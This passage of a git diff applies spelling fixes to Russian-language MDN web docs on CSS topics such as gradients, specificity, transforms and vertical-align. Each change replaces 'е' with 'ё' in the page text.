{{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.</p> <pre class="brush: css no-line-numbers notranslate">/* Повторяющийся градиент с углом наклона 45 градусов, начинающийся с синего и заканчивающийся красным цветом */ @@ -16,14 +16,14 @@ repeating-linear-gradient(45deg, blue, red); repeating-linear-gradient(to left top, blue, red); /* Повторяющийся градиент идущий от низа к верху, - начинающийся с синего, переходящего в зеленый на 40%, + начинающийся с синего, переходящего в зелёный на 40%, и заканчивающийся красным цветом */ repeating-linear-gradient(0deg, blue, green 40%, red); </pre> -<p>С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.</p> +<p>С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведёт к резкому визуальному переходу.</p> -<p>Повторяющийся линейный градиент (как и любой прочий градиент) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">не имеет размерностей по умолчанию</a>; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.</p> +<p>Повторяющийся линейный градиент (как и любой прочий градиент) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">не имеет размерностей по умолчанию</a>; т.е. у него нет предопределённого размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.</p> <div class="note"> <p><strong>Примечание:</strong> Поскольку <code><gradient></code> относится к типу данных <code><image></code> , он может быть использован только там где применим тип <code><image></code>. По этой причине <code>repeating-linear-gradient()</code> не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("<color>")}}.</p> diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html index dfa5948008..7bb32d2d94 100644 --- a/files/ru/web/css/selector_list/index.html +++ b/files/ru/web/css/selector_list/index.html @@ -2,7 +2,7 @@ title: Список селекторов slug: Web/CSS/Selector_list tags: - - Верстка + - Вёрстка - список селекторов translation_of: Web/CSS/Selector_list --- @@ -26,14 +26,14 @@ div { <h3 id="Группирование_на_одной_линии">Группирование на одной линии</h3> -<p>Группирование селекторов списком, разделенным запятой, на одной строк.</p> +<p>Группирование селекторов списком, разделённым запятой, на одной строк.</p> <pre class="brush: css">h1, h2, h3, h4, h5, h6 { font-family: helvetica; } </pre> <h3 id="Мультистрочное_группирование">Мультистрочное группирование</h3> -<p>Группирование селекторов списком, разделенным запятой, на нескольких строках.</p> +<p>Группирование селекторов списком, разделённым запятой, на нескольких строках.</p> <pre class="brush: css">#main, .content, @@ -54,7 +54,7 @@ h3 { font-family: sans-serif }</pre> <p>Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.</p> -<p>Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.</p> +<p>Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счёт этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.</p> <pre class="brush: css">h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html index 5ac6911db1..90738acb1b 100644 --- a/files/ru/web/css/shorthand_properties/index.html +++ b/files/ru/web/css/shorthand_properties/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/Shorthand_properties --- <div>{{cssref}}</div> -<p class="summary"><strong><dfn>Сокращенные свойства</dfn></strong> - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.</p> +<p class="summary"><strong><dfn>Сокращённые свойства</dfn></strong> - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращённое свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.</p> <p>The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.</p> diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html index 42adadbf3a..535a64f460 100644 --- a/files/ru/web/css/specificity/index.html +++ b/files/ru/web/css/specificity/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/Specificity <h3 id="Важное_исключение_из_правил_-_!important">Важное исключение из правил - <code>!important</code></h3> -<p>Когда при объявлении стиля используется модификатор <code>!important</code>, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор <code>!important</code> не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку <code>!important</code> усложняет отладку, нарушая естественное <a href="/ru-RU/docs/Web/CSS/Cascade">каскадирование</a> ваших стилей, он <strong>не приветствуется</strong> и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором <code>!important</code>, то применен будет стиль с большей специфичностью.</p> +<p>Когда при объявлении стиля используется модификатор <code>!important</code>, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор <code>!important</code> не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку <code>!important</code> усложняет отладку, нарушая естественное <a href="/ru-RU/docs/Web/CSS/Cascade">каскадирование</a> ваших стилей, он <strong>не приветствуется</strong> и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором <code>!important</code>, то применён будет стиль с большей специфичностью.</p> <p><strong>Несколько практических советов:</strong></p> @@ -69,7 +69,7 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd <p>Вне зависимости от порядка следования правил, текст всегда будет зелёным, поскольку у этого правила наибольшая специфичность (при этом, правило для голубого цвета имеет преимущество перед правилом для красного, несмотря на порядок следования).</p> -<p><strong>Вам придется использовать <code>!important</code> если:</strong></p> +<p><strong>Вам придётся использовать <code>!important</code> если:</strong></p> <p>А) Первый сценарий:</p> @@ -78,11 +78,11 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd <li>Вы пользуетесь (или кто-то другой пользуется) весьма сомнительным средством - объявлением стилей непосредственно в элементах</li> </ol> -<p>В таком случае вам придется объявить некоторые стили в вашем общем файле CSS как <code>!important</code>, переопределяя, таким образом, стили, установленные в самих элементах.</p> +<p>В таком случае вам придётся объявить некоторые стили в вашем общем файле CSS как <code>!important</code>, переопределяя, таким образом, стили, установленные в самих элементах.</p> <p>Пример из практики: Некоторые плохо написанные <strong>плагины jQuery</strong>, использующие присваивание стилей самим элементам.</p> -<p>Б) Еще сценарий:</p> +<p>Б) Ещё сценарий:</p> <pre class="default prettyprint prettyprinted"><code><span class="com">#someElement p {</span><span class="pln"> color</span><span class="pun">:</span><span class="pln"> blue</span><span class="pun">;</span><span class="pln"> @@ -96,7 +96,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class=" <p><strong>Как преодолеть !important</strong></p> -<p>A) Просто добавьте еще одно правило с модификатором <code>!important</code>, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).</p> +<p>A) Просто добавьте ещё одно правило с модификатором <code>!important</code>, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).</p> <p>Пример большей специфичности:</p> @@ -126,7 +126,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class=" <h3 id="Не_исключение_-_not()">Не исключение - <code>:not()</code></h3> -<p>Отрицающий псевдокласс <code>:not</code> <em>не учитывается</em> как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри <code>:not</code>, при подсчете количества <a href="#selector-type">по типам селекторов</a> рассматриваются как обычные селекторы и учитываются.</p> +<p>Отрицающий псевдокласс <code>:not</code> <em>не учитывается</em> как псевдокласс при расчёте специфичности. Однако селекторы, расположенные внутри <code>:not</code>, при подсчёте количества <a href="#selector-type">по типам селекторов</a> рассматриваются как обычные селекторы и учитываются.</p> <p>Следующий фрагмент CSS ...</p> @@ -138,7 +138,7 @@ div:not(.outer) p { } </pre> -<p>... примененный к такому HTML ...</p> +<p>... применённый к такому HTML ...</p> <pre class="brush: html"><div class="outer"> <p>Это div.outer</p> @@ -168,7 +168,7 @@ div:not(.outer) p { } </pre> -<p>... примененные к нижеследующей разметке ...</p> +<p>... применённые к нижеследующей разметке ...</p> <pre class="brush: html"><p id="foo">Это пример.</p> </pre> @@ -229,7 +229,7 @@ h1 { <p><span style="color: #800080;">Вот заголовок!</span></p> -<p>Потому что селектор <code>h1</code> непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.</p> +<p>Потому что селектор <code>h1</code> непосредственно соответствует элементу, а стиль, задающий зелёный цвет, всего лишь унаследован от родителя.</p> <h2 id="Дополнительная_информация">Дополнительная информация</h2> diff --git a/files/ru/web/css/syntax/index.html b/files/ru/web/css/syntax/index.html index ead0688e79..18803ab95c 100644 --- a/files/ru/web/css/syntax/index.html +++ b/files/ru/web/css/syntax/index.html @@ -12,12 +12,12 @@ original_slug: Web/CSS/Синтаксис <ul> <li><strong>Свойство</strong> (<em>property</em>) — идентификатор действия, которое будет применено к элементу (например, цвет, или размер границы, и т.д.).</li> - <li><strong>Значение</strong> (<em>value</em>) — описывает, как именно <em>свойство</em> будет обработано браузером. <span id="result_box" lang="ru"><span class="hps">Каждое свойство имеет</span> <span class="hps">набор допустимых значений</span><span>, определенных</span> <span class="hps">формальными правилами</span><span>, а также</span> <span class="hps">семантический</span> <span class="hps">смысл,</span> <span class="hps">реализованный</span> движком <span class="hps">браузера.</span></span></li> + <li><strong>Значение</strong> (<em>value</em>) — описывает, как именно <em>свойство</em> будет обработано браузером. <span id="result_box" lang="ru"><span class="hps">Каждое свойство имеет</span> <span class="hps">набор допустимых значений</span><span>, определённых</span> <span class="hps">формальными правилами</span><span>, а также</span> <span class="hps">семантический</span> <span class="hps">смысл,</span> <span class="hps">реализованный</span> движком <span class="hps">браузера.</span></span></li> </ul> <h2 id="Объявления_CSS">Объявления CSS</h2> -<p>Задание CSS свойствам определенных значений — это основная функция CSS. Пара свойство-значение называется <em>объявлением</em>. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.</p> +<p>Задание CSS свойствам определённых значений — это основная функция CSS. Пара свойство-значение называется <em>объявлением</em>. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.</p> <p>И свойство, и значения регистрозависимы. Пара свойство-значение разделяется двоеточием, '<code>:</code>' (<code>U+003A COLON</code>), а пробелы до, между и после свойства или значения игнорируются.</p> @@ -31,11 +31,11 @@ original_slug: Web/CSS/Синтаксис <p><a href="/@api/deki/files/6165/=css_syntax_-_block.png"><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></a></p> -<p>Такие блоки называются <strong>блоками объявлений</strong>, и объявления в них разделяются точкой с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить ее для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.</p> +<p>Такие блоки называются <strong>блоками объявлений</strong>, и объявления в них разделяются точкой с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить её для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.</p> <p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style="border: 1px solid black; padding: 1em;"></p> -<div class="note">Содержимое блока объявлений CSS, т. е. объявления, разделенные точкой с запятой. Блок объявлений может быть помещен внутри атрибута style HTML-документа без фигурных скобок.</div> +<div class="note">Содержимое блока объявлений CSS, т. е. объявления, разделённые точкой с запятой. Блок объявлений может быть помещён внутри атрибута style HTML-документа без фигурных скобок.</div> <h2 id="CSS_rulesets">CSS rulesets</h2> diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html index 6d15f3733d..f892300dc1 100644 --- a/files/ru/web/css/time/index.html +++ b/files/ru/web/css/time/index.html @@ -2,7 +2,7 @@ title: <time> slug: Web/CSS/time tags: - - Верстка + - Вёрстка - Типы данных - время translation_of: Web/CSS/time @@ -46,7 +46,7 @@ translation_of: Web/CSS/time <h3 id="Невалидное_время">Невалидное время</h3> -<pre class="example-bad">0 Хотя ноль разрешен без единиц измерения для <length>, это невалидно для <time>. +<pre class="example-bad">0 Хотя ноль разрешён без единиц измерения для <length>, это невалидно для <time>. 12.0 Это <number>, а не <time>, так как пропущена единица измерения. 7 ms Пробел между числом и единицей измерения не допускается. </pre> diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html index 5efacb4f53..1aa97b70b9 100644 --- a/files/ru/web/css/touch-action/index.html +++ b/files/ru/web/css/touch-action/index.html @@ -25,7 +25,7 @@ touch-action: initial; touch-action: unset; </pre> -<p>По умолчанию, жесты панорамирование, прокрутка и сужающий обрабатываются исключительно браузером. Приложение, использующие {{domxref("Pointer_events", "Pointer events", "", 1)}} получит событие {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, когда браузер начнет обрабатывать тач жест. Явно указывая жесты обрабатываемые браузером, приложение может иметь свое поведение для оставшихся жестов благодаря прослушиванию событий {{domxref("HTMLElement/pointermove_event", "pointermove")}} и {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p> +<p>По умолчанию, жесты панорамирование, прокрутка и сужающий обрабатываются исключительно браузером. Приложение, использующие {{domxref("Pointer_events", "Pointer events", "", 1)}} получит событие {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, когда браузер начнёт обрабатывать тач жест. Явно указывая жесты обрабатываемые браузером, приложение может иметь своё поведение для оставшихся жестов благодаря прослушиванию событий {{domxref("HTMLElement/pointermove_event", "pointermove")}} и {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p> <p>When a gesture is started, the browser intersects the <strong>touch-action</strong> values of the touched element and all its ancestors up to the one that implements the gesture (in other words, the first containing scrolling element). This means that in practice, <strong>touch-action</strong> is typically applied only to individual elements which have some custom behavior, without needing to specify <strong>touch-action</strong> explicitly on any of that element's descendants. After a gesture has started, changes to <strong>touch-action</strong> values will not have any impact on the behavior of the current gesture.</p> diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html index aeadb96e60..77c045ef84 100644 --- a/files/ru/web/css/transform-function/rotate3d()/index.html +++ b/files/ru/web/css/transform-function/rotate3d()/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-function/rotate3d() --- <div>{{CSSRef}}</div> -<div>Функция <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>rotate3d()</code> </strong>трансформирует элемент без деформации, вращая его в трехмерном пространстве вокруг зафиксированной оси. Её результатом является тип {{cssxref ("<transform-function>")}}.</div> +<div>Функция <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>rotate3d()</code> </strong>трансформирует элемент без деформации, вращая его в трёхмерном пространстве вокруг зафиксированной оси. Её результатом является тип {{cssxref ("<transform-function>")}}.</div> <div> </div> diff --git a/files/ru/web/css/transform-function/scale3d()/index.html b/files/ru/web/css/transform-function/scale3d()/index.html index acfcf77edf..e66adb526b 100644 --- a/files/ru/web/css/transform-function/scale3d()/index.html +++ b/files/ru/web/css/transform-function/scale3d()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/transform-function/scale3d() --- <div>{{CSSRef}}</div> -<p><code>scale3d()</code> CSS функция изменяет размер элемента. Благодаря величине масштабирования определенной вектором, может изменять различные размеры в разных масштабах.</p> +<p><code>scale3d()</code> CSS функция изменяет размер элемента. Благодаря величине масштабирования определённой вектором, может изменять различные размеры в разных масштабах.</p> <p>Это преобразование характеризуется вектором, координаты которого определяют, сколько масштабирования выполняется в каждом направлении. Если все три координаты вектора равны, масштабирование равномерно или изотропно, а форма элемента сохраняется. В этом случае функция масштабирования определяет гомотетическое преобразование.</p> diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html index 04ff2df26c..256d123b92 100644 --- a/files/ru/web/css/transform-function/skew()/index.html +++ b/files/ru/web/css/transform-function/skew()/index.html @@ -11,11 +11,11 @@ translation_of: Web/CSS/transform-function/skew() -<p>Данная трансформация является линейным преобразованием векторного пространства (трансвекция или <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), которое деформирует каждую точку элемента на определенный угол по горизонтали или вертикали. Координаты каждой точки изменяются на величину, пропорциональную указанному углу и расстоянию до точки, относительно которой выполняется трансформация (origin); таким образом, чем больше расстояние до смещаемой точки элемента, тем больше она будет смещена по горизонтали или вертикали.</p> +<p>Данная трансформация является линейным преобразованием векторного пространства (трансвекция или <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), которое деформирует каждую точку элемента на определённый угол по горизонтали или вертикали. Координаты каждой точки изменяются на величину, пропорциональную указанному углу и расстоянию до точки, относительно которой выполняется трансформация (origin); таким образом, чем больше расстояние до смещаемой точки элемента, тем больше она будет смещена по горизонтали или вертикали.</p> <h2 id="Синтаксис">Синтаксис</h2> -<p>Функция <code>skew()</code> задается одним или двумя значениями которые отображают наклон в каждом из направлений.</p> +<p>Функция <code>skew()</code> задаётся одним или двумя значениями которые отображают наклон в каждом из направлений.</p> <pre class="syntaxbox notranslate">skew(<em>ax</em>) @@ -60,7 +60,7 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML">HTML</h4> <pre class="brush: html notranslate"><div>Обычный</div> -<div class="skewed">Наклоненный</div></pre> +<div class="skewed">Наклонённый</div></pre> <h4 id="CSS">CSS</h4> @@ -85,7 +85,7 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML_2">HTML</h4> <pre class="brush: html notranslate"><div>Обычный</div> -<div class="skewed">Наклоненный</div></pre> +<div class="skewed">Наклонённый</div></pre> <h4 id="CSS_2">CSS</h4> diff --git a/files/ru/web/css/transform-style/index.html b/files/ru/web/css/transform-style/index.html index 68408dca2a..eb102bd45e 100644 --- a/files/ru/web/css/transform-style/index.html +++ b/files/ru/web/css/transform-style/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-style <p>Свойство <code>transform-style</code> <a href="/en-US/docs/Web/CSS">CSS</a> определяет положение дочернего элемента в 3D-пространстве или в той же плоскости, что и родительский элемент.</p> -<p>Если flat, то дочерний элемент не будет существовать в своем собственном 3D-пространстве.</p> +<p>Если flat, то дочерний элемент не будет существовать в своём собственном 3D-пространстве.</p> <p>Поскольку это свойство не наследуется, его следует устанавливать для всех не прямых потомков элемента.</p> diff --git a/files/ru/web/css/transform/index.html b/files/ru/web/css/transform/index.html index 54d70a010d..dc0f2707a6 100644 --- a/files/ru/web/css/transform/index.html +++ b/files/ru/web/css/transform/index.html @@ -4,7 +4,7 @@ slug: Web/CSS/transform tags: - CSS - transform - - Верстка + - Вёрстка - Свойство CSS - наклон - поворот @@ -103,9 +103,9 @@ transform: unset; <h2 id="Accessibility_concerns">Accessibility concerns</h2> -<p>Scaling/zooming анимации являются проблемой для accessibility, поскольку они становятся частым триггером для определенных типов мигрени. Если вам нужно добавить такие анимации на вашем веб-сайте, вы должны предоставить элемент управления, позволяющий пользователям отключать анимации, предпочтительно для всего сайта.</p> +<p>Scaling/zooming анимации являются проблемой для accessibility, поскольку они становятся частым триггером для определённых типов мигрени. Если вам нужно добавить такие анимации на вашем веб-сайте, вы должны предоставить элемент управления, позволяющий пользователям отключать анимации, предпочтительно для всего сайта.</p> -<p>Кроме того, рассмотрите возможность использования @media-опции {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} — используйте ее для написания {{cssxref("Media_Queries", "медиавыражения")}}, которое отключит анимацию, если пользователь уменьшил анимацию в системных настройках.</p> +<p>Кроме того, рассмотрите возможность использования @media-опции {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} — используйте её для написания {{cssxref("Media_Queries", "медиавыражения")}}, которое отключит анимацию, если пользователь уменьшил анимацию в системных настройках.</p> <p>Узнать больше:</p> diff --git a/files/ru/web/css/transition/index.html b/files/ru/web/css/transition/index.html index 69bada7245..3d1d7e6dd5 100644 --- a/files/ru/web/css/transition/index.html +++ b/files/ru/web/css/transition/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/transition --- <div>{{CSSRef}}</div> -<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращенное свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, и {{ cssxref("transition-delay") }}.</p> +<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращённое свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, и {{ cssxref("transition-delay") }}.</p> <div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div> @@ -36,7 +36,7 @@ transition: margin-left 4s ease-in-out 1s; /* Применить к 2 свойствам */ transition: margin-left 4s, color 1s; -/* Применить ко всем измененным свойствам */ +/* Применить ко всем изменённым свойствам */ transition: all 0.5s ease-out; /* Глобальные значения */ diff --git a/files/ru/web/css/universal_selectors/index.html b/files/ru/web/css/universal_selectors/index.html index 9742586517..50de4b40f8 100644 --- a/files/ru/web/css/universal_selectors/index.html +++ b/files/ru/web/css/universal_selectors/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/Universal_selectors <h2 id="Краткое_описание">Краткое описание</h2> -<p>Звездочка (*) - универсальный селектор для CSS. Соответствует любому тегу. Убирая звездочки с простых селекторов имеет тот же эффект. Например, <em>* .warning</em> и <em>.warning</em> считаются равными.</p> +<p>Звёздочка (*) - универсальный селектор для CSS. Соответствует любому тегу. Убирая звёздочки с простых селекторов имеет тот же эффект. Например, <em>* .warning</em> и <em>.warning</em> считаются равными.</p> -<p>В CSS 3, звездочка (<code>*</code>) может использоваться в комбинации с пространством имён</p> +<p>В CSS 3, звёздочка (<code>*</code>) может использоваться в комбинации с пространством имён</p> <ul> <li><code>ns|*</code> - вхождения всех элементов в пространстве имён ns</li> @@ -28,7 +28,7 @@ translation_of: Web/CSS/Universal_selectors <span lang="en-us">Зелёный span</span> в красном параграфе. </p> <p id="maincontent" lang="en-gb"> - <span class="warning">Красный span</span> в зеленом параграфе. + <span class="warning">Красный span</span> в зелёном параграфе. </p></pre> <p>{{ EmbedLiveSample('Example', 250, 100) }}</p> @@ -52,7 +52,7 @@ translation_of: Web/CSS/Universal_selectors <tr> <td>{{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }}</td> <td>{{ Spec2('CSS3 Selectors') }}</td> - <td>Определено поведение в отношении пространств имен и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов</td> + <td>Определено поведение в отношении пространств имён и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов</td> </tr> <tr> <td>{{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}</td> diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html index 2467369481..4ae8b7251b 100644 --- a/files/ru/web/css/used_value/index.html +++ b/files/ru/web/css/used_value/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/used_value <div><strong>Используемое значение </strong>- <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS </a>свойство, которое используется, когда все вычисления уже выполнены, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/computed_value">вычисленное значение</a>.</div> <article> -<p>После того как {{glossary("user agent")}} закончил свои расчеты каждое свойство CSS имеет своё значение. Используемые значения (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.</p> +<p>После того как {{glossary("user agent")}} закончил свои расчёты каждое свойство CSS имеет своё значение. Используемые значения (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.</p> <div class="blockIndicator note"> <p><strong>Замечание</strong>: {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API возвращает <a href="/ru/docs/">решённое значение</a>, которое может быть <a href="/ru/docs/">численным значением</a> или <a href="/ru/docs/">используемым значением</a>, в зависимости от свойства.</p> diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html index 2b9b17f8ae..ed33dd0608 100644 --- a/files/ru/web/css/user-select/index.html +++ b/files/ru/web/css/user-select/index.html @@ -2,7 +2,7 @@ title: user-select slug: Web/CSS/user-select tags: - - Верстка + - Вёрстка - Свойство translation_of: Web/CSS/user-select --- @@ -62,7 +62,7 @@ user-select: unset; <dt><code>text</code></dt> <dd>Текст может быть выбран пользователем.</dd> <dt><code>all</code></dt> - <dd>В HTML-редакторе, если двойной клик или контекстный клик произошел во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.</dd> + <dd>В HTML-редакторе, если двойной клик или контекстный клик произошёл во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.</dd> <dt><code>contain</code></dt> <dd>Позволяет начать выбор внутри элемента; однако, выбор будет содержаться внутри границ данного элемента.</dd> <dt><code>element</code>{{non-standard_inline}} (IE-specific alias)</dt> diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html index 65fd104311..064d0fda66 100644 --- a/files/ru/web/css/using_css_custom_properties/index.html +++ b/files/ru/web/css/using_css_custom_properties/index.html @@ -35,12 +35,12 @@ translation_of: Web/CSS/Using_CSS_custom_properties </pre> <div class="note"> -<p><strong>Note:</strong> В более ранней спецификации префикс для переменных был <code>var-</code> , но позже был изменен на <code>--</code>. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})</p> +<p><strong>Note:</strong> В более ранней спецификации префикс для переменных был <code>var-</code> , но позже был изменён на <code>--</code>. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})</p> </div> <h2 id="Первый_шаг_с_CSS_Переменными">Первый шаг с CSS Переменными</h2> -<p>Начнем с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:</p> +<p>Начнём с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:</p> <div id="sample1"> <pre class="brush:css; highlight:[3,20,26,32]">.one { diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html index 2ff298b02e..2a4ae09c70 100644 --- a/files/ru/web/css/vertical-align/index.html +++ b/files/ru/web/css/vertical-align/index.html @@ -89,7 +89,7 @@ p { <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> - <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо нее появится нечто еще более причудливое и необъяснимое.</p> + <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p> <p>Существует и другая теория, согласно которой это уже случилось.</p></pre> <pre class="hidden brush: css notranslate">table { @@ -119,7 +119,7 @@ td { <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>vertical-align</code> задается одним из ключевых значений, указанных ниже.</p> +<p>Свойство <code>vertical-align</code> задаётся одним из ключевых значений, указанных ниже.</p> <h3 id="Значения_для_строчных_элементов">Значения для строчных элементов</h3> @@ -157,7 +157,7 @@ td { <dd>Выравнивает нижний край элемента и его потомков с нижним краем всей строки.</dd> </dl> -<p>Для элементов, у которых нет базовой линии, вместо нее используется нижняя граница внешнего отступа (margin).</p> +<p>Для элементов, у которых нет базовой линии, вместо неё используется нижняя граница внешнего отступа (margin).</p> <h3 id="Значения_для_ячеек_таблицы">Значения для ячеек таблицы</h3> diff --git 